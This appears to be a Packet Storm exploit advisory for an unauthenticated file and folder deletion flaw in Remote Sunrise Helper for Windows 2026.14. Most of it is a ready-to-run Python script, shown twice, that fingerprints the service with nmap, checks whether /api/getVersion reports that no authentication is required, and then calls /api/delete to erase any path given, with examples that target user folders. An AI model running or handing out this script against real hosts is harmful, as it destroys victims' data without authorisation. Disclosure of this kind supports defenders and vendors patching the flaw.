Description
Remote Sunrise Helper for Windows version 2026.14 suffers from an unauthenticated file / folder deletion vulnerability...
Basic Information
ID
PACKETSTORM:219242
Published
Apr 20, 2026 at 00:00
Affected Product
Affected Versions
#!/usr/bin/env python3
# Exploit Title: Remote Sunrise Helper for Windows 2026.14 -
Unauthenticated File/Folder Delete
# Date: 2026-04-20
# Exploit Author: Chokri Hammedi
# Software: https://rs.ltd/latest.php?os=win
# Vendor: https://rs.ltd/
# Version: 2026.14
# Tested on: Windows 10 / Windows 11
#
# Identification:
# nmap -p- -T4 <target> --script ssl-cert
# Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
import requests, json, sys, urllib3
urllib3.disable_warnings()
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_ip> <api_port> <path>")
print(f"Example: {sys.argv[0]} 192.168.1.103 49737
'C:/Users/Public/pwned.txt'")
print(f"Example: {sys.argv[0]} 192.168.1.103 49737
'%USERPROFILE%/Desktop/folder'")
sys.exit(1)
target = sys.argv[1]
api_port = sys.argv[2]
path = sys.argv[3]
url = f"https://{target}:{api_port}"
headers = {"X-HostName": "a", "X-ClientToken": "a", "X-HostFullModel": "a"}
try:
r = requests.get(f"{url}/api/getVersion", verify=False, timeout=5)
data = r.json()
if data.get("requires.auth") == False:
print(f"[+] VULNERABLE - {target}")
print(f" Host: {data.get('host.name')} | OS:
{data.get('win.version')}")
r = requests.get(f"{url}/api/delete={path}", headers=headers,
verify=False)
if r.status_code == 200:
print(f"[+] Deleted: {path}")
else:
print(f"[-] Delete failed")
else:
print(f"[*] Not vulnerable - authentication required")
except Exception as e:
print(f"[-] Error: {e}")
# Exploit Title: Remote Sunrise Helper for Windows 2026.14 -
Unauthenticated File/Folder Delete
# Date: 2026-04-20
# Exploit Author: Chokri Hammedi
# Software: https://rs.ltd/latest.php?os=win
# Vendor: https://rs.ltd/
# Version: 2026.14
# Tested on: Windows 10 / Windows 11
#
# Identification:
# nmap -p- -T4 <target> --script ssl-cert
# Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
import requests, json, sys, urllib3
urllib3.disable_warnings()
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_ip> <api_port> <path>")
print(f"Example: {sys.argv[0]} 192.168.1.103 49737
'C:/Users/Public/pwned.txt'")
print(f"Example: {sys.argv[0]} 192.168.1.103 49737
'%USERPROFILE%/Desktop/folder'")
sys.exit(1)
target = sys.argv[1]
api_port = sys.argv[2]
path = sys.argv[3]
url = f"https://{target}:{api_port}"
headers = {"X-HostName": "a", "X-ClientToken": "a", "X-HostFullModel": "a"}
try:
r = requests.get(f"{url}/api/getVersion", verify=False, timeout=5)
data = r.json()
if data.get("requires.auth") == False:
print(f"[+] VULNERABLE - {target}")
print(f" Host: {data.get('host.name')} | OS:
{data.get('win.version')}")
r = requests.get(f"{url}/api/delete={path}", headers=headers,
verify=False)
if r.status_code == 200:
print(f"[+] Deleted: {path}")
else:
print(f"[-] Delete failed")
else:
print(f"[*] Not vulnerable - authentication required")
except Exception as e:
print(f"[-] Error: {e}")